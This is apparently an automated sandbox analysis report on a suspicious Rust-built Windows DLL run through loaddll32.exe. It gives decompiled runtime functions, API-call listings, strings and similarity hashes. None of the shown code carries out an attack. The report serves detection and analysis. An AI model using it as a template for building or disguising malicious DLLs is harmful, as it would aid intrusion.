				_v20 = 0xffffffff;
				_v24 = E6E7B3B40;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				_v48 = 0;
				__imp__AcquireSRWLockExclusive(0x6e7fada8, __esi, __edi, __ebx);
				_t47 =  *0x6e7fa038; // 0x1
				_t50 =  *0x6e7fa03c; // 0x0
				_v40 = 0x6e7fada8;
				_t43 = _t47 & _t50;
				if(_t43 == 0xffffffff) {
					L8:
					_v36 = _t43;
					__imp__ReleaseSRWLockExclusive(0x6e7fada8);
					_v20 = 0;
					_t22 = E6E7C72E0("failed to generate unique thread ID: bitspace exhausted", 0x37, 0x6e7ed270);
					goto L10;
				} else {
					 *0x6e7fa038 = _t47 + 1;
					asm("adc ecx, 0x0");
					 *0x6e7fa03c = _t50;
					if((_t47 | _t50) == 0) {
						_v36 = _t43;
						_v20 = 0;
						_t22 = E6E7C6E20(__ebx, "called `Option::unwrap()` on a `None` value", 0x2b, _t47, _t50, __eflags, 0x6e7ed280);
						L10:
						asm("ud2");
						__eflags = _v36 - 0xffffffff;
						if(_v36 != 0xffffffff) {
							E6E7AC870(_t22,  &_v40);
						}
						return E6E7AC850( &_v48);
					} else {
						__imp__ReleaseSRWLockExclusive(0x6e7fada8);
						_t29 =  *0x6e7fadc8; // 0x11e0000
						if(_t29 != 0) {
							L5:
							_t30 = HeapAlloc(_t29, 0, 0x20);
							if(_t30 == 0) {
								goto L7;
							} else {
								 *(_t30 + 8) = _t47;
								 *(_t30 + 0xc) = _t50;
								 *(_t30 + 0x10) = 0;
								 *((char*)(_t30 + 0x18)) = 0;
								 *_t30 = 1;
								 *(_t30 + 4) = 1;
								 *[fs:0x0] = _v28;
								return _t30;
							}
						} else {
							_t29 = GetProcessHeap();
							if(_t29 == 0) {
								L7:
								_t43 = 8;
								E6E7C6C30(_t32, 0x20, 8, _t47, _t50, __eflags);
								asm("ud2");
								goto L8;
							} else {
								 *0x6e7fadc8 = _t29;
								goto L5;
							}
						}
					}
				}
			}

0x6e7ac690
0x6e7ac699
0x6e7ac69c
0x6e7ac6a3
0x6e7ac6b4
0x6e7ac6b7
0x6e7ac6bd
0x6e7ac6c9
0x6e7ac6cf
0x6e7ac6d5
0x6e7ac6db
0x6e7ac6e4
0x6e7ac6e9
0x6e7ac77f
0x6e7ac77f
0x6e7ac787
0x6e7ac78d
0x6e7ac7a3
0x00000000
0x6e7ac6ef
0x6e7ac6f6
0x6e7ac6fd
0x6e7ac702
0x6e7ac708
0x6e7ac7ad
0x6e7ac7b0
0x6e7ac7c6
0x6e7ac7ce
0x6e7ac7ce
0x6e7ac7d7
0x6e7ac7db
0x6e7ac7e0
0x6e7ac7e0
0x6e7ac7f1
0x6e7ac70e
0x6e7ac713
0x6e7ac719
0x6e7ac720
0x6e7ac730
0x6e7ac735
0x6e7ac73c
0x00000000
0x6e7ac73e
0x6e7ac73e
0x6e7ac741
0x6e7ac744
0x6e7ac74b
0x6e7ac74f
0x6e7ac755
0x6e7ac75f
0x6e7ac76d
0x6e7ac76d
0x6e7ac722
0x6e7ac722
0x6e7ac729
0x6e7ac76e
0x6e7ac773
0x6e7ac778
0x6e7ac77d
0x00000000
0x6e7ac72b
0x6e7ac72b
0x00000000
0x6e7ac72b
0x6e7ac729
0x6e7ac720
0x6e7ac708

APIs

AcquireSRWLockExclusive.KERNEL32(6E7FADA8), ref: 6E7AC6C9
ReleaseSRWLockExclusive.KERNEL32(6E7FADA8), ref: 6E7AC713
GetProcessHeap.KERNEL32 ref: 6E7AC722
HeapAlloc.KERNEL32(011E0000,00000000,00000020), ref: 6E7AC735
ReleaseSRWLockExclusive.KERNEL32(6E7FADA8), ref: 6E7AC787

Strings

called `Option::unwrap()` on a `None` value, xrefs: 6E7AC7B7
failed to generate unique thread ID: bitspace exhausted, xrefs: 6E7AC794

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$HeapRelease$AcquireAllocProcess
String ID: called `Option::unwrap()` on a `None` value$failed to generate unique thread ID: bitspace exhausted
API String ID: 1780889587-1657987152
Opcode ID: cc6c8f7432b6ea789376cb881714f8b19b419a45536ce8f8ea13e1d554acb3f6
Instruction ID: 51fc555a51df787c41ebea310745621b3046968eee64af9ea07a7cb8f58600be
Opcode Fuzzy Hash: cc6c8f7432b6ea789376cb881714f8b19b419a45536ce8f8ea13e1d554acb3f6
Instruction Fuzzy Hash: 673104B1D006049FDB04CFE8EA187AEBBBCFB85715F104239D515AB3A0D774A9058FA1

Uniqueness

Uniqueness Score: -1.00%

Function 6E7A10A0, Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 141
memoryCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E6E7A10A0(long __ebx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4, char _a8, intOrPtr _a16) {
				long _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				void* _v36;
				void* _v40;
				long _v44;
				long _v48;
				void* _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				long _v64;
				void* __ebp;
				void* _t45;
				void* _t46;
				void* _t50;
				void* _t51;
				intOrPtr _t54;
				long _t62;
				void* _t71;
				void* _t81;
				void* _t84;
				intOrPtr _t85;

				_t78 = __esi;
				_t76 = __edi;
				_t59 = __ebx;
				_push(__ebx);
				_push(__edi);
				_push(__esi);
				_t85 = _t84 - 0x30;
				_v32 = _t85;
				_v20 = 0xffffffff;
				_v24 = E6E7B3B00;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				_t45 =  *0x6e7fadc8; // 0x11e0000
				if(_t45 != 0) {
					L3:
					_t46 = HeapAlloc(_t45, 0, 0xf);
					if(_t46 == 0) {
						goto L18;
					} else {
						asm("movsd xmm0, [0x6e7eb227]");
						asm("movsd xmm1, [0x6e7eb220]");
						_v40 = _t46;
						asm("movsd [eax+0x7], xmm0");
						asm("movsd [eax], xmm1");
						_t50 =  *0x6e7fadc8; // 0x11e0000
						if(_t50 != 0) {
							L7:
							_t51 = HeapAlloc(_t50, 0, 0x10);
							if(_t51 == 0) {
								goto L19;
							} else {
								asm("movsd xmm0, [0x6e7eb237]");
								asm("movsd xmm1, [0x6e7eb22f]");
								_t71 = 0;
								_t59 = 0x10;
								_v52 = _t51;
								_v48 = 0x10;
								asm("movsd [eax+0x8], xmm0");
								asm("movsd [eax], xmm1");
								while(1) {
									_v44 = _t59;
									if(_t71 > 0xf) {
										break;
									}
									_t17 = _t71 + 1; // 0x1
									_t76 = _t71 + _t17;
									_t78 = _t59 - _t76;
									if(_t78 < 0) {
										_v20 = 0;
										E6E7C6C40(_t59, _t76, _t59, _t76, _t78, __eflags);
										asm("ud2");
										goto L18;
									} else {
										if(_t59 == _v48) {
											_v36 = _t71;
											_v56 = _t78;
											_v60 = _t76;
											_v20 = 0;
											_v64 = _t59;
											E6E7C6BC0( &_v52, _t59);
											_t51 = _v52;
											_t59 = _v64;
											_t71 = _v36;
											_t76 = _v60;
											_t78 = _v56;
										}
										_t10 = _t76 + 1; // 0x1
										_v36 = _t71 + 1;
										_t81 = _t51;
										E6E7BAE10(_t51 + _t10, _t51 + _t76, _t78);
										_t71 = _v36;
										_t51 = _t81;
										_t85 = _t85 + 0xc;
										 *((char*)(_t81 + _t76)) = 0;
										_t59 = _t59 + 1;
										continue;
									}
									goto L21;
								}
								_v20 = 0;
								_v36 = _t51;
								E6E7B9770(_v40, _a4, _a8, _t51, _a16);
								__eflags = _v48;
								if(_v48 != 0) {
									HeapFree( *0x6e7fadc8, 0, _v36);
								}
								HeapFree( *0x6e7fadc8, 0, _v40);
								_t54 = _v28;
								 *[fs:0x0] = _t54;
								return _t54;
							}
						} else {
							_t50 = GetProcessHeap();
							if(_t50 == 0) {
								L19:
								_t62 = 0x10;
								goto L20;
							} else {
								 *0x6e7fadc8 = _t50;
								goto L7;
							}
						}
					}
				} else {
					_t45 = GetProcessHeap();
					if(_t45 == 0) {
						L18:
						_t62 = 0xf;
						L20:
						E6E7C6C30(_t59, _t62, 1, _t76, _t78, __eflags);
						asm("ud2");
						__eflags =  &_a8;
						E6E7A1000(_v52, _v48);
						return E6E7A1000(_v40, 0xf);
					} else {
						 *0x6e7fadc8 = _t45;
						goto L3;
					}
				}
				L21:
			}

0x6e7a10a0
0x6e7a10a0
0x6e7a10a0
0x6e7a10a3
0x6e7a10a4
0x6e7a10a5
0x6e7a10a6
0x6e7a10a9
0x6e7a10ac
0x6e7a10b3
0x6e7a10c4
0x6e7a10c7
0x6e7a10cd
0x6e7a10d4
0x6e7a10e8
0x6e7a10ed
0x6e7a10f4
0x00000000
0x6e7a10fa
0x6e7a10fa
0x6e7a1102
0x6e7a110a
0x6e7a110d
0x6e7a1112
0x6e7a1116
0x6e7a111d
0x6e7a1131
0x6e7a1136
0x6e7a113d
0x00000000
0x6e7a1143
0x6e7a1143
0x6e7a114b
0x6e7a1153
0x6e7a1155
0x6e7a115a
0x6e7a115d
0x6e7a1164
0x6e7a1169
0x6e7a1192
0x6e7a1195
0x6e7a1198
0x00000000
0x00000000
0x6e7a119a
0x6e7a119a
0x6e7a11a0
0x6e7a11a2
0x6e7a1235
0x6e7a123c
0x6e7a1241
0x00000000
0x6e7a11a8
0x6e7a11ab
0x6e7a11ad
0x6e7a11b5
0x6e7a11b8
0x6e7a11bb
0x6e7a11c2
0x6e7a11c5
0x6e7a11ca
0x6e7a11cd
0x6e7a11d0
0x6e7a11d3
0x6e7a11d6
0x6e7a11d6
0x6e7a1171
0x6e7a1175
0x6e7a117e
0x6e7a1180
0x6e7a1185
0x6e7a1188
0x6e7a118a
0x6e7a118d
0x6e7a1191
0x00000000
0x6e7a1191
0x00000000
0x6e7a11a2
0x6e7a11db
0x6e7a11e5
0x6e7a11f2
0x6e7a11fa
0x6e7a11fe
0x6e7a120b
0x6e7a120b
0x6e7a121b
0x6e7a1220
0x6e7a1223
0x6e7a1230
0x6e7a1230
0x6e7a111f
0x6e7a111f
0x6e7a1126
0x6e7a124a
0x6e7a124a
0x00000000
0x6e7a112c
0x6e7a112c
0x00000000
0x6e7a112c
0x6e7a1126
0x6e7a111d
0x6e7a10d6
0x6e7a10d6
0x6e7a10dd
0x6e7a1243
0x6e7a1243
0x6e7a124f
0x6e7a1254
0x6e7a1259
0x6e7a1264
0x6e7a126d
0x6e7a1283
0x6e7a10e3
0x6e7a10e3
0x00000000
0x6e7a10e3
0x6e7a10dd
0x00000000

APIs

GetProcessHeap.KERNEL32 ref: 6E7A10D6
HeapAlloc.KERNEL32(011E0000,00000000,0000000F), ref: 6E7A10ED
GetProcessHeap.KERNEL32(011E0000,00000000,0000000F), ref: 6E7A111F
HeapAlloc.KERNEL32(011E0000,00000000,00000010,011E0000,00000000,0000000F), ref: 6E7A1136
HeapFree.KERNEL32(00000000,?,00000000,00000010,011E0000,00000000,0000000F), ref: 6E7A120B
HeapFree.KERNEL32(00000000,?,00000000,00000010,011E0000,00000000,0000000F), ref: 6E7A121B

Strings

Control_RunDLL, xrefs: 6E7A1102
Control_RunDLL, xrefs: 6E7A114B

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocFreeProcess
String ID: Control_RunDLL$Control_RunDLL
API String ID: 2113670309-2490747307
Opcode ID: 115daca220166235bb133c5e85fb98f4002730e37e76aa6b54d2549cc2e4e078
Instruction ID: bcb1fed8b3cccc0e47aedfc15b8f20c411b4c58ea44a72f10c9b534841cef88b
Opcode Fuzzy Hash: 115daca220166235bb133c5e85fb98f4002730e37e76aa6b54d2549cc2e4e078
Instruction Fuzzy Hash: BE519275D006099FEB10CFE8D940BEEB7BAFF49340F104635E515AB264D775A944CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6E7BC860, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 6E7BC897
___except_validate_context_record.LIBVCRUNTIME ref: 6E7BC89F
_ValidateLocalCookies.LIBCMT ref: 6E7BC928
__IsNonwritableInCurrentImage.LIBCMT ref: 6E7BC953
_ValidateLocalCookies.LIBCMT ref: 6E7BC9A8

Strings

csm, xrefs: 6E7BC93D

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 37c51755698ee699f52f5299b938568145af7f2673a15de4917678e4db7a1e88
Instruction ID: 38918295020b5ef655c01c76fdb7bf76da308bf6a1e51c36596e023b5f63f5f9
Opcode Fuzzy Hash: 37c51755698ee699f52f5299b938568145af7f2673a15de4917678e4db7a1e88
Instruction Fuzzy Hash: 99418534A002499FDF00CFE8CA98A9EBBB9AF45329F10C565E9145F361D731DA15CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6E7B2B10, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6E7FADB4), ref: 6E7B2B44
TlsAlloc.KERNEL32 ref: 6E7B2B5A
GetProcessHeap.KERNEL32 ref: 6E7B2B74
HeapAlloc.KERNEL32(011E0000,00000000,0000000C), ref: 6E7B2B8B
ReleaseSRWLockExclusive.KERNEL32(6E7FADB4), ref: 6E7B2BC8

Strings

assertion failed: key != c::TLS_OUT_OF_INDEXESC:jbmojtgfautxqskitilrxgprrsoryhnjiexhvlejqbbtabuvcjbeqafloiohojnkwxtneumtjxczayjyebuempczgbfbrdwkmdkgjqjcnunttbmcxecyvhxsfpitjjwfpzkycxdjnqi, xrefs: 6E7B2BE8

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocExclusiveHeapLock$AcquireProcessRelease
String ID: assertion failed: key != c::TLS_OUT_OF_INDEXESC:jbmojtgfautxqskitilrxgprrsoryhnjiexhvlejqbbtabuvcjbeqafloiohojnkwxtneumtjxczayjyebuempczgbfbrdwkmdkgjqjcnunttbmcxecyvhxsfpitjjwfpzkycxdjnqi
API String ID: 3228198226-2044759171
Opcode ID: c66d83d004042cd8f4893ec3df65e29b50715aeaa5bb20b941657beb8efd1dd1
Instruction ID: 40a930f1577761397955d911ae558e68ba3be1bc9c383f7a903ef97c224bc8c1
Opcode Fuzzy Hash: c66d83d004042cd8f4893ec3df65e29b50715aeaa5bb20b941657beb8efd1dd1
Instruction Fuzzy Hash: C5416BB190034A8FDB00CFD4DA48BAEBBB9FF44718F104129D619AB3A0EB759545CF94

Uniqueness

Uniqueness Score: -1.00%

Function 6E7C1BFC, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,6E7C1D09,FFFDD001,00000400,?,00000000,?,?,6E7C1E82,00000021,FlsSetValue,6E7F39F8,6E7F3A00,?), ref: 6E7C1CBD

Strings

ext-ms-, xrefs: 6E7C1C67
api-ms-, xrefs: 6E7C1C53

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 3339db920962739bd682b845b858cbdb55b3420bb0c17c4a272e79b37f29898b
Instruction ID: 54c578b09916aebed261fecaebe03b990c3cb8d9f23e32c6f317fdd29d79d1a6
Opcode Fuzzy Hash: 3339db920962739bd682b845b858cbdb55b3420bb0c17c4a272e79b37f29898b
Instruction Fuzzy Hash: 37212B72900525AFDB218AA4EE94B5A377CEB42FA0F110531F911A73A4E730F909CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 6E7BCCFF, Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,6E7BCA41,6E7BA8E2,6E7BA0EC,?,6E7BA324,?,00000001,?,?,00000001,?,6E7F7DA8,0000000C,6E7BA41D), ref: 6E7BCD0D
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6E7BCD1B
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6E7BCD34
SetLastError.KERNEL32(00000000,6E7BA324,?,00000001,?,?,00000001,?,6E7F7DA8,0000000C,6E7BA41D,?,00000001,?), ref: 6E7BCD86

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 23cb7c087d3125d9ea31301573613e7f6c07f73694457da7c9f050b5b5c54c60
Instruction ID: 7aecb09d8bb5f22d73b4d855b7633b060f60797699748dc58bc05703b847f3bd
Opcode Fuzzy Hash: 23cb7c087d3125d9ea31301573613e7f6c07f73694457da7c9f050b5b5c54c60
Instruction Fuzzy Hash: 2B01D836129A125EFA541DFC7E8C5972B5CEB437BE7204339E628981F4FF3188415950

Uniqueness

Uniqueness Score: -1.00%

Function 6E7B97A0, Relevance: 9.0, APIs: 6, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 6E7B9E50: GetTickCount64.KERNEL32 ref: 6E7B9E57

GetTickCount64.KERNEL32 ref: 6E7B97D6
GetTickCount64.KERNEL32 ref: 6E7B97F4
GetTickCount64.KERNEL32 ref: 6E7B980D
GetTickCount64.KERNEL32 ref: 6E7B980F
GetTickCount64.KERNEL32 ref: 6E7B9816
GetTickCount64.KERNEL32 ref: 6E7B9834

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: Count64Tick
String ID:
API String ID: 1927824332-0
Opcode ID: 7bd1c84b2b60e7ed6506d0c19f8adf2eb87a865a564c343cd71df9e9725f2f71
Instruction ID: 4f1550f028318012f0c834cd63d0859dd135eb1214f347669ac220137d392bee
Opcode Fuzzy Hash: 7bd1c84b2b60e7ed6506d0c19f8adf2eb87a865a564c343cd71df9e9725f2f71
Instruction Fuzzy Hash: 11014013C34A58DDD603BE79A941255AB6D6FB73D4F11C323E05B77012FBA014E396A2

Uniqueness

Uniqueness Score: -1.00%

Function 6E7A6D10, Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 146COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6E7A6DEB
__aulldiv.LIBCMT ref: 6E7A6DFB

Strings

{invalid syntax}, xrefs: 6E7A6D54
_!f64f32usizeu128u64u32u16u8isizei128i64i32i16i8strcharbool, xrefs: 6E7A6D7A, 6E7A6DB5
'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern ", xrefs: 6E7A6D24

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: __aulldiv__aullrem
String ID: 'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern "$_!f64f32usizeu128u64u32u16u8isizei128i64i32i16i8strcharbool${invalid syntax}
API String ID: 3839614884-2364648981
Opcode ID: b4dd61e1893cc3eec35f1097495bd551401c0fb97f8b607d9caf00d17eef3285
Instruction ID: 779c19b400cb2cb13a24813e221bac1275bcf43d2bc77550ea8136f6f526ba30
Opcode Fuzzy Hash: b4dd61e1893cc3eec35f1097495bd551401c0fb97f8b607d9caf00d17eef3285
Instruction Fuzzy Hash: EB419D757282104BE7148EECCA44B2AB6D5DF84744F10463DEA899F3F6E665C9018392

Uniqueness

Uniqueness Score: -1.00%

Function 6E7AD1B0, Relevance: 8.8, APIs: 7, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000001,6E7AC906), ref: 6E7AD1BB
TlsGetValue.KERNEL32(00000000,00000001,6E7AC906), ref: 6E7AD1D3
TlsGetValue.KERNEL32(00000000), ref: 6E7AD1F3
TlsGetValue.KERNEL32(00000000), ref: 6E7AD213
GetProcessHeap.KERNEL32 ref: 6E7AD226
HeapAlloc.KERNEL32(011E0000,00000000,0000000C), ref: 6E7AD239
TlsSetValue.KERNEL32(00000000,00000000,011E0000,00000000,0000000C), ref: 6E7AD266

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: Value$Heap$AllocProcess
String ID:
API String ID: 3559649508-0
Opcode ID: a7ec6b30f7e5019337196e2b02ae402fc3ebb9d3c933b06180de4c6fdacd7c3d
Instruction ID: f0edd5efb0ad4d739c8a92b266b5d95820cd6f4800ef4ae0bde07f5ac30dca5b
Opcode Fuzzy Hash: a7ec6b30f7e5019337196e2b02ae402fc3ebb9d3c933b06180de4c6fdacd7c3d
Instruction Fuzzy Hash: E6115E71704611DBEB505FF9EA58B56379DAB02A49F024A35DF01CB2A0EB35D840CF68

Uniqueness

Uniqueness Score: -1.00%

Function 6E7C0EB1, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

C:\Windows\SYSTEM32\loaddll32.exe, xrefs: 6E7C0ECD

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: C:\Windows\SYSTEM32\loaddll32.exe
API String ID: 0-1872383224
Opcode ID: ae24ec18ff1ec9595f2c9b78041d1339e492609aaab1abbaea9bba3d3745c393
Instruction ID: 9e6973a67836b951232b82b8a18ab3b7d00207192e5837c34d5acacc67f3e856
Opcode Fuzzy Hash: ae24ec18ff1ec9595f2c9b78041d1339e492609aaab1abbaea9bba3d3745c393
Instruction Fuzzy Hash: F82192B521821ABF9740AFF5CE4498B77BDEF45B68B104924F814D7260F731E8808BD2

Uniqueness

Uniqueness Score: -1.00%

Function 6E7BDD62, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,6E7BDE23,00000000,?,00000001,00000000,?,6E7BDE9A,00000001,FlsFree,6E7F2F84,FlsFree,00000000), ref: 6E7BDDF2

Strings

api-ms-, xrefs: 6E7BDDB2

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: 72f816f1f53ebbc0e1c4a7bad2e3fcb106cd903de409b256c2384083351a2e78
Instruction ID: 471b657958e571df2834094dd5fb6056405144f9f6f7a5a9fa3624fd10f6157a
Opcode Fuzzy Hash: 72f816f1f53ebbc0e1c4a7bad2e3fcb106cd903de409b256c2384083351a2e78
Instruction Fuzzy Hash: 8511CA32A656259FDF124FD89D4474A37A8AF02B70F110132FA51E7294D770F9018ED9

Uniqueness

Uniqueness Score: -1.00%

Function 6E7BEC2D, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,A6952AF0,00000000,?,00000000,6E7C7473,000000FF,?,6E7BEBBD,?,?,6E7BEB91,?), ref: 6E7BEC62
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6E7BEC74
FreeLibrary.KERNEL32(00000000,?,00000000,6E7C7473,000000FF,?,6E7BEBBD,?,?,6E7BEB91,?), ref: 6E7BEC96

Strings

CorExitProcess, xrefs: 6E7BEC6C
mscoree.dll, xrefs: 6E7BEC5B

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 882a6c0748f14e1890bc7ca7e54b2e2d2a15bbe79687a291afe5ebdcacec0625
Instruction ID: afa364a1131d0429b49c32766af5318b745e70c4d5440db12dc4a8c7adfb5c3a
Opcode Fuzzy Hash: 882a6c0748f14e1890bc7ca7e54b2e2d2a15bbe79687a291afe5ebdcacec0625
Instruction Fuzzy Hash: ED014472904959EFEB019F94DE08FAEBBBDFB05B10F000635E811A63A0DB74A540CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6E7AC440, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32), ref: 6E7AC445
